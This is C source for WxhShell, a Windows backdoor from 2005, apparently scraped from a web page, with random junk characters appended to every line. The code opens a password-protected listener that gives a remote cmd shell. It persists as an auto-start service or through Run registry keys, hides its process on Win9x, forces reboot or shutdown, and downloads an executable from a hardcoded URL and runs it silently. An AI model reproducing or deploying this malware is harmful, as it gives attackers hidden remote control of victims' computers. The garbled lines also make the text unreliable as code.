    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c$),/0td|  
    if(Boot(SHUTDOWN)) {6%vmMbJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fj\}&H*+  
    else { %,$Ms?,n`  
    closesocket(wsh); t3ua5xw  
    ExitThread(0); uP<w rlW  
    } 5urM,1SQ@  
    break; wjk-$p  
    } fMe "r*SU  
  // 获取shell ugexkdgM  
  case 's': { Xg:w;#r,  
    CmdShell(wsh); *<k8H5z8]  
    closesocket(wsh); ;K<e]RI;?  
    ExitThread(0); F&US-ce:M  
    break; < aeBhg%  
  } g z!q  
  // 退出 y+f@8]  
  case 'x': { (lbF/F>v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c"BFkw  
    CloseIt(wsh); m(QGP\Ya  
    break; :0,q>w  
    } ( zQ)EHRD  
  // 离开 [:gPp)f,  
  case 'q': { [r'PGx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y1a[HF^-  
    closesocket(wsh); ,bT|:T@ny  
    WSACleanup(); M,]C(f>  
    exit(1); B6)d2O9C  
    break; 0yW#).D^b  
        } n:JWu0,h  
  } cW B>  
  } $0WO 4C%M  
68ce+|  
  // 提示信息 f8`K8Y]4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,at"Q$)T  
} :uhU<H<,f  
  } [.\uHt  
Df;EemCh  
  return; H..g2;D  
} P3|_R HIb  
4\'1j|nS[  
// shell模块句柄 pG?AwB~@n  
int CmdShell(SOCKET sock) `N$:QWJ  
{ 3nb&Z_/e  
STARTUPINFO si; VW^6qf/,  
ZeroMemory(&si,sizeof(si)); /BB(riG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^VsX9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~!( (?8"  
PROCESS_INFORMATION ProcessInfo; +2%ih !  
char cmdline[]="cmd"; lSv?!2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2E~WcB  
  return 0; &YQ  
} }{>)2S  
:^7P. lhK  
// 自身启动模式 e~tgd8a2a  
int StartFromService(void) %lVc7L2]  
{ lej-,HX  
typedef struct ~`'!nzP5H  
{ `.3!  
  DWORD ExitStatus; N@D]Q&;+(T  
  DWORD PebBaseAddress; 8S2sNpLi-g  
  DWORD AffinityMask; *`~ woF  
  DWORD BasePriority; dQUZ11  
  ULONG UniqueProcessId; X0<qG  
  ULONG InheritedFromUniqueProcessId; C!KxY/*Px  
}   PROCESS_BASIC_INFORMATION; >B)&mC$$S  
oRl~x^[%[-  
PROCNTQSIP NtQueryInformationProcess; [JAHPy=+w  
>TSPEvWc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eF]`?AeWQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P{ YUW~  
!u@XEN>/  
  HANDLE             hProcess; KU,K E tf  
  PROCESS_BASIC_INFORMATION pbi; v{%x,K56  
I9S=VFhZ`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \Eq,4-q  
  if(NULL == hInst ) return 0; up+W[#+  
v+a$Xh3Y~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u{#}Lo>B #  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e>yPFXSk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X}T/6zk  
0k]$ he;h  
  if (!NtQueryInformationProcess) return 0; `Y Hn L4  
*|)a@V L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <A{|=2<  
  if(!hProcess) return 0; !cP2,l 'f  
^)$(Fe<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rG7E[kii  
;pk4Voo$  
  CloseHandle(hProcess); p,_,o3@~  
2tz%A~}4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p;;4b@  
if(hProcess==NULL) return 0; USF9sF0l  
3r{3HaN(^'  
HMODULE hMod; RmF,x9  
char procName[255]; \ G}02h  
unsigned long cbNeeded; 0#\K9|.  
i?+ZrAx>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XY1D<  
TJ k3z^.j  
  CloseHandle(hProcess); KGsS2  
P#^-{;Bu  
if(strstr(procName,"services")) return 1; // 以服务启动 5u/dr9n  
R]{zGFnx  
  return 0; // 注册表启动 \o-9~C\c*  
} W5C8$Bqm  
{wUbr^  
// 主模块 !O;su~7  
int StartWxhshell(LPSTR lpCmdLine) Q;9-aZ.H  
{ C\%T|ZDE  
  SOCKET wsl; tK@|sZ>3\  
BOOL val=TRUE; "*08?KA  
  int port=0; ' i- 6JG%  
  struct sockaddr_in door; ?'RB)M=Og7  
JmMB=} <  
  if(wscfg.ws_autoins) Install(); r~mZ?dI  
t:MeSO  
port=atoi(lpCmdLine); R/!lDv!  
g]kM7,/M  
if(port<=0) port=wscfg.ws_port; e6?iQ0  
K1`Z}k_p.  
  WSADATA data; Ynn:,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; --S1p0  
Sq#AnD6To  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e}@VR<h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pe}mA}9U  
  door.sin_family = AF_INET; YUGE>"{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fU/&e^, 's  
  door.sin_port = htons(port); U}#3 LFr.?  
%"<|u)E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o%EzK;Df  
closesocket(wsl); Q{+*F8%8V<  
return 1; 2@TgeV0Y[  
} hc"l^a!7ic  
AN193o   
  if(listen(wsl,2) == INVALID_SOCKET) { kSW=DE|#}  
closesocket(wsl); L{pz)')I  
return 1; x*`S>_j27=  
} }~I(e  
  Wxhshell(wsl); DIqM\ ><  
  WSACleanup(); |}^me7C,[  
"|N58%  
return 0; a$=BX=  
Ux[2 +Cf  
} {oXU)9vj  
3(2WO^zX {  
// 以NT服务方式启动 I |PEC-(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fnXYp !  
{ <x!q! ;  
DWORD   status = 0; (-}:'5|Yj  
  DWORD   specificError = 0xfffffff; GG0H3MSc  
'iY~F0U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Zr(4Q9fDo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;s*   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jF$bCbAUce  
  serviceStatus.dwWin32ExitCode     = 0; z6IOVQ*r  
  serviceStatus.dwServiceSpecificExitCode = 0; [Sr^CY P(  
  serviceStatus.dwCheckPoint       = 0; ?g{--'L  
  serviceStatus.dwWaitHint       = 0; A&?8 rc  
K20,aWBq;3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rt rPRR\:"  
  if (hServiceStatusHandle==0) return; Sb4^* $uz  
0sMNp  
status = GetLastError(); hD> ]\u  
  if (status!=NO_ERROR) 0Cg}yyOz  
{ t]3> X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7$"A2x   
    serviceStatus.dwCheckPoint       = 0; "*U0xnI  
    serviceStatus.dwWaitHint       = 0; hqXp>.W  
    serviceStatus.dwWin32ExitCode     = status; g 2LY~  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2Kkm-#p7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^cUmLzM  
    return; "h@=O c  
  } *&vlfH  
1 5heLnei  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ._E 6?  
  serviceStatus.dwCheckPoint       = 0; =,B Dd$e  
  serviceStatus.dwWaitHint       = 0; Y9 /`w@"v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #ORZk6e  
} IdS=lN$  
'iM#iA8  
// 处理NT服务事件,比如:启动、停止 "L0Q"t:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (U{,D1?  
{ m/e*P*\ =  
switch(fdwControl) FNN7[ku!  
{ YujR}=B!/  
case SERVICE_CONTROL_STOP: *M?[Gro/  
  serviceStatus.dwWin32ExitCode = 0; ~|lEi1|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @3w6 !Sgh  
  serviceStatus.dwCheckPoint   = 0; *b}/fG)XZ  
  serviceStatus.dwWaitHint     = 0; H|Y*TI2vf8  
  { &lCOhP#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a1>Tz  
  } QO/nUl0E  
  return; Iq0[Kd0.j  
case SERVICE_CONTROL_PAUSE: A'tv[T d8,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I!?)}d  
  break; |EGC1x]j=  
case SERVICE_CONTROL_CONTINUE: -k?K|w*X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <e?1&56  
  break; Y|l&mK?  
case SERVICE_CONTROL_INTERROGATE:  erQQ_  
  break; M=M~M$K  
}; zv-9z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R?3N><oh*  
} c W1`[b  
j].=,M<dxE  
// 标准应用程序主函数 S`Xx('!/|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LE|DMz|J  
{ Q\nIU7:bZ  
@CtnV|  
// 获取操作系统版本 Ak dx1h,  
OsIsNt=GetOsVer(); 1`sTGNo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,bxGd!&{Q  
4Uk\hgT0  
  // 从命令行安装 OcE,E6LD  
  if(strpbrk(lpCmdLine,"iI")) Install(); e#AmtheZR  
XxYwBc'pc  
  // 下载执行文件 hAV@/oQ  
if(wscfg.ws_downexe) { \>\_OfY1W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Pil_zQ4  
  WinExec(wscfg.ws_filenam,SW_HIDE); !DM GAt\  
} ${5E  
fB)S:f|  
if(!OsIsNt) { 7Y%Si5  
// 如果时win9x,隐藏进程并且设置为注册表启动 K0{ ,*>C  
HideProc(); n%ypxY0  
StartWxhshell(lpCmdLine); -l~+cI\2  
} +MtxS l  
else 7<*,O&![|  
  if(StartFromService()) JA$RY  
  // 以服务方式启动 S-[S?&c`  
  StartServiceCtrlDispatcher(DispatchTable); RhWW61!"  
else g5;Ig  
  // 普通方式启动 kxLWk%V  
  StartWxhshell(lpCmdLine); m++=FsiX=  
Lng@'Yr  
return 0; _]zH4o<p  
} #Y0ru9  
6u9?  
Fr_6pEH]}  
q`|rS6  
=========================================== 0iV~MQZ(  
P9o=G=i  
>x1yFwX}-f  
7fC:' 1]G  
_7;D0l  
M2nWvU$  
" 489xoP  
G-TD9OgZ  
#include <stdio.h> %l3f .  
#include <string.h> #l 6QE=:  
#include <windows.h> [ <j4w  
#include <winsock2.h> Yw6uh4  
#include <winsvc.h> [NK&s:wMk  
#include <urlmon.h> 0}"'A[xE  
Db*&'32W  
#pragma comment (lib, "Ws2_32.lib") } 4ZWAzH  
#pragma comment (lib, "urlmon.lib") qi['~((  
&a+=@Z)kf  
#define MAX_USER   100 // 最大客户端连接数 B"rO  
#define BUF_SOCK   200 // sock buffer C^fn[plL  
#define KEY_BUFF   255 // 输入 buffer d[YG&.}+8j  
RB9ZaL\  
#define REBOOT     0   // 重启 $>zqCi2tB<  
#define SHUTDOWN   1   // 关机 AqT}^fS  
 Khh}flRy  
#define DEF_PORT   5000 // 监听端口 KJv[z   
F+]cFx,/  
#define REG_LEN     16   // 注册表键长度 Ri>ZupQ6  
#define SVC_LEN     80   // NT服务名长度 Dqc2;>  
0_N.s5~N  
// 从dll定义API /bF>cpM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f#\Nz>tOhE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A*{CT>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +`ug?`_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aP]h03sS  
92ngSaNC  
// wxhshell配置信息 eVzZfB-=4}  
struct WSCFG { r%9=75HA  
  int ws_port;         // 监听端口 Wjli(sT#-  
  char ws_passstr[REG_LEN]; // 口令 $|N\(}R  
  int ws_autoins;       // 安装标记, 1=yes 0=no {TvB3QOsj  
  char ws_regname[REG_LEN]; // 注册表键名 ovZ!}  
  char ws_svcname[REG_LEN]; // 服务名 )|GYxG;8C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~|S}$|Mi50  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m:c0S8#:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?1**@E0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no & @${@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;?v&=Z't.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PU4-}!K  
LKA/s ~G  
}; pjma<^|F  
[ @2$W?0i  
// default Wxhshell configuration p || mR  
struct WSCFG wscfg={DEF_PORT, m%b# B>J,n  
    "xuhuanlingzhe", $WO{!R  
    1, 4Ik'beZqK  
    "Wxhshell", .vie#,la  
    "Wxhshell", 72vp6/;)  
            "WxhShell Service", )SJ"IY\P  
    "Wrsky Windows CmdShell Service", z0UtKE^b  
    "Please Input Your Password: ", +~sqv?8  
  1, dU2:H}  
  "http://www.wrsky.com/wxhshell.exe", 0]zMb^wo  
  "Wxhshell.exe" QQt4pDir>  
    }; ?XV3Y3  
 F##xVmR~  
// 消息定义模块 et/v/Hvw1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CaVVlL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >uYU_/y$2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x.sC015Id  
char *msg_ws_ext="\n\rExit."; oPVt qQ  
char *msg_ws_end="\n\rQuit."; r^ {Bw1+  
char *msg_ws_boot="\n\rReboot..."; L4ZB0PmN'  
char *msg_ws_poff="\n\rShutdown..."; }qR6=J+Dx  
char *msg_ws_down="\n\rSave to "; #|T2`uYotf  
0lOR.}]q  
char *msg_ws_err="\n\rErr!"; xUTTRJ(\  
char *msg_ws_ok="\n\rOK!"; cdN=HM~I  
-e>Z!0  
char ExeFile[MAX_PATH]; D^}2ilk!  
int nUser = 0; <`?%Cz AO  
HANDLE handles[MAX_USER]; z0%tBgqY(  
int OsIsNt; hVl@7B~  
vpC?JXz=H  
SERVICE_STATUS       serviceStatus; /t*Q"0X5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZZ T 9t#~  
]0g p.R  
// 函数声明 h"[:$~/UJ  
int Install(void); T^A[m0mk  
int Uninstall(void); /.~zk(-&h  
int DownloadFile(char *sURL, SOCKET wsh); _h 6c[*  
int Boot(int flag); c7.M\f P  
void HideProc(void);  >hzSd@J&  
int GetOsVer(void); ,N nh$F  
int Wxhshell(SOCKET wsl); (/E@.z[1  
void TalkWithClient(void *cs); 0\, !  
int CmdShell(SOCKET sock); ";/ogFi  
int StartFromService(void); )i_:[ l6  
int StartWxhshell(LPSTR lpCmdLine); D G|v' #  
IyM:9=}5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z|t2;j[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8m?cvI  
lBa` nG  
// 数据结构和表定义 xZY7X&C4  
SERVICE_TABLE_ENTRY DispatchTable[] = $R+rB;=a!  
{ <AK9HPxP  
{wscfg.ws_svcname, NTServiceMain}, .Hk.'>YR  
{NULL, NULL} R7KV @n  
}; $<"I*l@  
0M?zotv0#  
// 自我安装 yE~D0%Umq  
int Install(void) saDu'SmYV  
{ ~=I:go  
  char svExeFile[MAX_PATH]; y0p\Gu;3j  
  HKEY key; a!f71k r  
  strcpy(svExeFile,ExeFile); %xKZ" #Z#K  
.gM6m8l9wp  
// 如果是win9x系统,修改注册表设为自启动 7u rD  
if(!OsIsNt) { c&Eva  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D;*cy<_K8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c`/=)IO4%  
  RegCloseKey(key); uKj(=Rqq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KzJJ@D*4M]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q- w_ @~  
  RegCloseKey(key); /`0>U  
  return 0; >UV}^OO  
    } RS#C4NG  
  } 3sW!ya-VZ  
} bnPhhsR  
else { "{trK?-8%  
18p4]:L  
// 如果是NT以上系统,安装为系统服务 Wc,`L$Jx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :D eJnE  
if (schSCManager!=0) eNO[ikm  
{ <;uM/vS i  
  SC_HANDLE schService = CreateService mD|Q+~=|e  
  ( OmK4 \_.  
  schSCManager, D6"d\F m<  
  wscfg.ws_svcname, t<j_` %`8  
  wscfg.ws_svcdisp, L}'^FqO[IW  
  SERVICE_ALL_ACCESS, P]OUzI,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LFr$h`_D5  
  SERVICE_AUTO_START, 9M ;Y$Z  
  SERVICE_ERROR_NORMAL, M?o_J4  
  svExeFile, `~=NBN=tiL  
  NULL, zbGZ\pz  
  NULL, /8<c~  
  NULL, S]Di1E^r;_  
  NULL, U3{4GmrT  
  NULL _/u(:  
  ); ((<\VQ,>(  
  if (schService!=0) P,(_y8  
  { g++-v HD  
  CloseServiceHandle(schService); EEo I|  
  CloseServiceHandle(schSCManager); _%23L|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Mz86bb^J  
  strcat(svExeFile,wscfg.ws_svcname); VvT7v]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JT=ax/%Mo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =-&h@mB;G  
  RegCloseKey(key); l|iOdKr h  
  return 0; >_G'o  
    } 2E`mbT,v&  
  } =''b`T$  
  CloseServiceHandle(schSCManager); 2\1bQ q\  
} B =7maYeU  
}  cV_-Bcb  
JIHIKH-#  
return 1; Bk^o$3#  
} F S$8F  
^~6gkS }  
// 自我卸载 iq^;csyKb  
int Uninstall(void) Koj9]2<0  
{ B !wr}]  
  HKEY key; z-:>[Sn  
Hs_7oy|P  
if(!OsIsNt) { uBn35%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Rha|Rk~  
  RegDeleteValue(key,wscfg.ws_regname); 3N|6?'m  
  RegCloseKey(key); /Ahh6=qQY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #&fu"W+D96  
  RegDeleteValue(key,wscfg.ws_regname); nR wf;K  
  RegCloseKey(key); Aa]3jev  
  return 0; N R 4\TU  
  } Aon.Y Z  
} CS5[E-%}T=  
} -WR<tkK  
else { <G`1(,g  
^".6~{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Azp!;+  
if (schSCManager!=0) O: #Sj jK  
{ r* l c#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lV$#>2Hh5  
  if (schService!=0) qZ +K4H  
  { 4S[)5su  
  if(DeleteService(schService)!=0) { ^ 4Ff8Y  
  CloseServiceHandle(schService); x8~*+ j  
  CloseServiceHandle(schSCManager); k g Rys  
  return 0; OdNcuiLa  
  } Zm7, O8  
  CloseServiceHandle(schService); KmM:V2@A$  
  } NV@$\ <  
  CloseServiceHandle(schSCManager); m6]6 !_  
} %DA`.Z9 #  
} 9sd}Z,l  
wO`G_!W9  
return 1; rk@qcQR  
} 8xG"hJR  
e=eip?p  
// 从指定url下载文件 i}i >ho-8  
int DownloadFile(char *sURL, SOCKET wsh) +P,ic*Kq*  
{ 4x3 _8/=  
  HRESULT hr; @A(jo32  
char seps[]= "/"; c&{= aIe w  
char *token; -P&uY`  
char *file; [9:";JSl"Y  
char myURL[MAX_PATH]; uJeJ=7,EO  
char myFILE[MAX_PATH]; xU}J6 Tv  
/L@6Ae  
strcpy(myURL,sURL); +c, ^KHW  
  token=strtok(myURL,seps); T:9M|mD  
  while(token!=NULL) E*fa&G~s )  
  { Kp1 F"!  
    file=token; q^n LC6q  
  token=strtok(NULL,seps); Z glU{sU  
  } 7Cbr'!E\_V  
J#t8xL  
GetCurrentDirectory(MAX_PATH,myFILE); Z,81L3#6  
strcat(myFILE, "\\"); :XPat9 3w  
strcat(myFILE, file); \pTv;(  
  send(wsh,myFILE,strlen(myFILE),0); {XUSw8W'  
send(wsh,"...",3,0); kBk2mMZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oDJ &{N|  
  if(hr==S_OK) {fX~%%c"  
return 0; JG1q5j##]b  
else s0/m qZ]s  
return 1; 2tCw{Om*  
VB T 66kV  
} W tHJG5  
q5@Nd3~h  
// 系统电源模块 51H6 W/$  
int Boot(int flag) |W@Ko%om  
{ {?EmO+![}  
  HANDLE hToken; |$ZS26aYw}  
  TOKEN_PRIVILEGES tkp; ZM <UiN  
81(\8#./  
  if(OsIsNt) { sG[qlzR=8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J$s p6 g>K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'zT7$ .L  
    tkp.PrivilegeCount = 1; w'VuC82SZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U5@B7v1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \u(Gj]B#"  
if(flag==REBOOT) { v0tFU!Q%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p>:.js5.a  
  return 0; RL/7>YQ  
} ua &uR7  
else { FeQo,a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _bg Zl  
  return 0; jVN=_Y}\  
} d(R8^v/L  
  } Fm6]mz%~u#  
  else { GK6CnSV8d  
if(flag==REBOOT) { UX.rzYM&T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )1R[X!KQ7  
  return 0; Tyb'p9  
} riaL[4c  
else { f~TkU\Rh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $=^}J 6  
  return 0; /h`gQyGuY  
} ]n<B a7Y  
} oWi#?'  
X%fLV(  
return 1; S1'?"zAmd  
} _^zs(  
\yxGE+~P  
// win9x进程隐藏模块 3webAaO  
void HideProc(void) t}pYSSTz  
{ Gv }  
nGc'xQy0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PU B0H  
  if ( hKernel != NULL ) )J+rt^4|  
  { 7Q~W}`Qv'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0/fZDQH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Us pv^O9_  
    FreeLibrary(hKernel); {TMng&  
  } qs_cC3"=%=  
/RxqFpu|.  
return; B> \q!dX3  
} 0oBAJP  
0]]OE+9<c  
// 获取操作系统版本 ba ,n/yH  
int GetOsVer(void) o_kZ  
{ _ D8 zKp  
  OSVERSIONINFO winfo; ;p fN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FYefn3b  
  GetVersionEx(&winfo); H$Pf$D$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -~4kh]7%  
  return 1; 2e3AmR@*  
  else w T_l>u  
  return 0; .W2w/RayC  
} p-rQ'e  
[C~N#S[]  
// 客户端句柄模块 ",,.xLI7  
int Wxhshell(SOCKET wsl) Q^l!cL| {  
{ `022gHYv  
  SOCKET wsh; _,UYbD\[J}  
  struct sockaddr_in client; 6U%d3"T  
  DWORD myID; REi"Aj=  
CD^@*jH9"  
  while(nUser<MAX_USER) '@\[U0?@K  
{ US9@/V*2  
  int nSize=sizeof(client); 2_?VR~mA#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }XpZgd$  
  if(wsh==INVALID_SOCKET) return 1; ,+gtr.  
vMn$lT@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); een62-`  
if(handles[nUser]==0) w( @QRd{  
  closesocket(wsh); Fy$ C._C$  
else ];g ~)z  
  nUser++; QqBQ[<_  
  } <pS#wTsN4%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wnLpf  
}v_|N"@  
  return 0; k][{4~z  
} 0D  `9  
4Sdj#w  
// 关闭 socket n%~r^ C_  
void CloseIt(SOCKET wsh) $ >].;y?$  
{ QAZs1;lU  
closesocket(wsh); ]2iIk=r$  
nUser--; Y(K`3? A  
ExitThread(0); 55y{9.n*  
} -JFW ,8=8  
>Kl_948  
// 客户端请求句柄 aE"dpYQ  
void TalkWithClient(void *cs) 1}ifJ~)5S  
{ tO"AeZe%|  
>Apa^Bp  
  SOCKET wsh=(SOCKET)cs; dI=&gz  
  char pwd[SVC_LEN]; &fkH\o7)  
  char cmd[KEY_BUFF]; 7/BjWU5*  
char chr[1]; iF.f*3-NJB  
int i,j; uOKdb6]r6  
/!/Pk'p=/  
  while (nUser < MAX_USER) { \lDh"  
92b}N|u  
if(wscfg.ws_passstr) { JV/:QV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d$?+>t/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HFz;"s3lWM  
  //ZeroMemory(pwd,KEY_BUFF); BI!EmA  
      i=0; H,j_2JOY=  
  while(i<SVC_LEN) { ]f wW dtz1  
8/u kzY1!  
  // 设置超时 c@4$)68  
  fd_set FdRead; 2t{Tz}g*  
  struct timeval TimeOut; XZ8]se"C  
  FD_ZERO(&FdRead); 6KN6SN$  
  FD_SET(wsh,&FdRead); zd F;!  
  TimeOut.tv_sec=8; &Fk|"f+  
  TimeOut.tv_usec=0; X .K*</(g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :inVwc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |^F$Ta  
[?2?7>D8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u'Hh||La"  
  pwd=chr[0]; X~\O]  
  if(chr[0]==0xd || chr[0]==0xa) { n4H'FZ  
  pwd=0; =~)rT8+)  
  break; iT{[zLz>1  
  } ~Q]::  
  i++; u`!Dp$P  
    } ~= otdJ  
lx?v .:zl\  
  // 如果是非法用户,关闭 socket X1V~.k vt)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #AO}JP  
} Wm)Id_  
I: MrX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uOd1:\%*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ak O-PL  
a,fcR<  
while(1) { C!^;%VQ}d  
cnG>EG  
  ZeroMemory(cmd,KEY_BUFF); Sm|TDH  
n+vv %  
      // 自动支持客户端 telnet标准   5fmQ+2A C1  
  j=0; 7.kH="@  
  while(j<KEY_BUFF) { $8[JL \  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "`a,/h'  
  cmd[j]=chr[0]; )$*B  
  if(chr[0]==0xa || chr[0]==0xd) { vP%:\u:{  
  cmd[j]=0; #9qX:*>h   
  break; f&$$*a  
  } -7 Kstc-  
  j++; P4E_<v[  
    } l)EtK&er(}  
4>N ig.#   
  // 下载文件 : ' pK  
  if(strstr(cmd,"http://")) { W(.svJUgb.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /}CAd  
  if(DownloadFile(cmd,wsh)) |H 5$VSw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z 2$S'}F  
  else Pb59RE:7V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8CvNcO;H0  
  } v|3mbApv  
  else { _skE\7&>X  
